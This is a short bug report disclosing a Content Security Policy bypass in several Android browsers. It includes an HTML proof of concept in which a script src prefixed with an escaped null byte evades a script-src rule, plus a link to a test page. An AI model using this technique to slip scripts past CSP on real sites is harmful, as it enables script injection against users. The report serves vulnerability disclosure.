Hello. I hope this is the correct place to report this bug.   I've found a Content Security Policy bypass similar to the same and related to the same origin policy bypass in this CVE. This is a separate vulnerability, however.   I've tested this on an Android 4.3 tablet. I've tested this and it works on Firefox (32.0.2), InBrowser, Dolphin (App info doesn't give version). I also tested the default android browser on 4.3.1 emulator which was also vulnerable.   PoC: <input type=button value="test" onclick="   a=document.createElement('script');   a.id='AA';   a.src='\u0000https://js.stripe.com/v2/';   document.body.appendChild(a);   setTimeout(function(){if(typeof(document.getElementById('AA'))!=='undefined'){alert(Stripe);}else{ alert(2);}}, 400);   return false;">   The content security policy rule that should block this is  script-src 'self' https://js.stripe.com/v2/ ;   The PoC worked if you see a popup containing stripes e(){} object. You can test this on http://ejj.io/test.php     Cheers, Evan J